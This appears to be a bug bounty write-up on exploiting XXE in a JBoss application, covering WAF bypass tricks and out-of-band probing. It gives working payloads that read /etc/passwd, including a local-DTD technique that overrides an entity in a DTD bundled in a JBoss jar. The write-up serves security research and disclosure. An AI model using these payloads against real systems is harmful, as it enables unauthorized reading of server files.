

Today I will be sharing a very interesting technique of exploiting an XXE which was discovered from what I know by Hello Everyone,Today I will be sharing a very interesting technique of exploiting an XXE which was discovered from what I know by https://mohemiv.com/all/exploiting-xxe-with-local-dtd-files/ and later researched on it by GoSecure Team. The scenario was reading out Local Files on the server when HTTP Out of Band was not allowed & only DNS requests reached but the application throw verbose error messages of XML Parsing



Discovery

so while browsing through the application in Burp I realized app uses REST API over JSON at each endpoint. Next, I tried converting the Content-Type to application/xml and replayed one of the requests and found that the Application threw verbose error which revealed the Application Server(JBoss) and some other error details and It was clear the application was expecting to parse some XML but JSON was given. So, I converted JSON Body to Corresponding XML.



WAF Bypass

The server was behind a Cloud based WAF which gave forbidden on the use of <?xml version=1.0?> so I simply didn’t use the XML Declaration and directly threw in the XML Body

< root > < id > .. </ id > < name > .. </ name > </ root >

and I was amazed to see the application happily accepted it and the request was succesful.

Next, I quickly used the simplest XXE payload to read file /etc/passwd

<!DOCTYPE a[ <!ENTITY x SYSTEM "file:///etc/passwd"> ]> < root > < id > 1 </ id > < name > &x; </ name > </ root >

But the WAF was triggered again and all I had to do is put a space before protocol (i.e. " file:///etc/passwd") and WAF was bypassed :P.



Exploitation Journey

But the application was validating all the data passed and didn’t like the contents of /etc/passwd inside “name” or any of other elements and only allowed more or less [a-zA-Z0-9]. If I tried to read a non-existing file or I read a file such as /etc/shadow it would throw a permission denied or some verbose error but not the contents, so the XXE was confirmed and I can confirm if any file existed or could be accessed or not on the server. Just that I couldn’t get the contents of file in the response.



On To XXE OOB

I thought to skip all this hassle and use OOB Trick to retrieve files over FTP Since the App Server was JAVA and used burp collaborator for that and used parameter entities instead of general ones.

<!DOCTYPE a[ <!ENTITY % x SYSTEM " http://something.burpcollaborator.net"> %x; ]> < root > < id > 1 </ id > < name > test </ name > </ root >

and came to know that HTTP Out of Band was not allowed :( I struggled a lot with it but didn’t leave it.



OOB XXE via a Subdomain

Over a week later, I had found an RCE over one of the subdomains and just for the curiousness I hosted an evil DTD file there to read /etc/passwd over there via this XXE and utilized the verbose server error messages to reveal the file contents in the Response itself like this: Over a week later, I had found an RCE over one of the subdomains and just for the curiousness I hosted an evil DTD file there to read /etc/passwd over there via this XXE and utilized the verbose server error messages to reveal the file contents in the Response itself like this: https://blog.netspi.com/forcing-xxe-reflection-server-error-messages/ and was able to do so :D because may be the subdomain was whitelisted to make outbound connections to.

The Company added a small bonus and wanted me to exploit this XXE without exploiting the already reported RCE for full reward.



Full XXE Exploitation via Local DTD without OOB

For a very long time I couldn’t exploit this but then For a very long time I couldn’t exploit this but then https://blog.h3xstream.com/2019/07/automating-local-dtd-discovery-for-xxe.html came and gave a hope. He lists a few common DTDs which could be already present on a system and how to use them to exploit those DTD for XXE for file reads by simply overwriting/substituing the already present Entities inside them DTDs. However, none of those DTDs listed on that blog existed on my target server.

Quick Summary of Local DTD Technique:

If we discover any DTD file existing already somewhere on the file system of our target server which consists of a parameter entity(say <!ENTITY % injectable "something"> ) and that is summoned somewhere in that DTD itself ( like <!ENTITY % random (%injectable;)> ). Then we can basically overwrite that entity’s contents and just write what we would do otherwise in an external evil.dtd in OOB Technique. Like If there exist a legit.dtd on server

/usr/share/xyz/legit.dtd:

.. < !ENTITY % injectable " something "> .. < !ENTITY % random (% injectable ;)> .. ..

and if you add following in your XXE

<!DOCTYPE xxe[ <!ENTITY x SYSTEM "file:///usr/share/xyz/legit.dtd"> <!ENTITY % injectable 'injecting)> You Control Contents inside this DTD now!!! <!ENTITY % fake ('> %x; ]> < root > .. </ root >

then the XML content parsed would go from this

<!ENTITY % random (%injectable;)> to

<!ENTITY % random (injecting)> You Control Contents inside this DTD now!!! <!ENTITY % fake ()>



Local DTD Discovery

GoSecure also released a tool to find DTDs which contains injectable Entities and takes a Docker Container’s exported filesystem as input. so I pull’d that specific version of JBoss Docker Image, started it and exported that Docker Container to a filesystem using:

$ docker export {container} -o jboss.tar $ java -jar dtd-finder-1.0-all.jar jboss.tar

It discovered some DTDs with injectable entities inside jar/zip files of the target JBoss Docker container’s filesystem.

Following jar archive was discovered /modules/system/layers/base/org/jboss/security/xacml/main/jbossxacml-x.x.x.Final-redhat-x.jar which had the following file inside it /schema/xmlschema/XMLSchema.dtd containing an Injectable entity named “xs-datatypes”

Upon inspection of contents of XMLSchema.dtd:

.... < !ENTITY % xs-datatypes PUBLIC ' datatypes ' ' datatypes.dtd ' > .... %xs-datatypes; ... ....

so I had to create(basically override the existing one in the XMLSchema.dtd) following Entity in my XXE Payload:

<!ENTITY % xs-datatypes '<!ENTITY % file SYSTEM " file:///etc/passwd"> <!ENTITY % eval "<!ENTITY &#x25; error SYSTEM ' file:///abcxyz/%file;'>"> %eval; %error; '>

Luckily I was exploiting a JAVA Based App which had “jar” protocol which could be used to read files inside archives(jar/zip etc.)

eg: jar:file://var/www/html/test.zip!/test.txt where test.txt is a file inside test.zip

Since I was doing all this on my local environment, first of all I confirmed if that particular jar file also existed on the application and It did.

Next, all I had to do was:

Read that XMLSchema.dtd inside jbossxacml-x.x.x.Final-redhat-x.jar file using jar protocol and then, Create “xs-datatypes” Entity to overwrite the contents

<!DOCTYPE root [ <!ENTITY % x SYSTEM "jar:file:///jboss-as/modules/system/layers/base/org/jboss/security/xacml/main/jbossxacml-x.x.x.Final-redhat-x.jar!/schema/xmlschema/XMLSchema.dtd"> <!ENTITY % xs-datatypes ' <!ENTITY % file SYSTEM " file:///etc/passwd"> <!ENTITY % eval "<!ENTITY &#x25; error SYSTEM ' file:///abcxyz/%file;'>"> %eval; %error; '> %x; ]> < root > < id > .. </ id > < name > test </ name > </ root >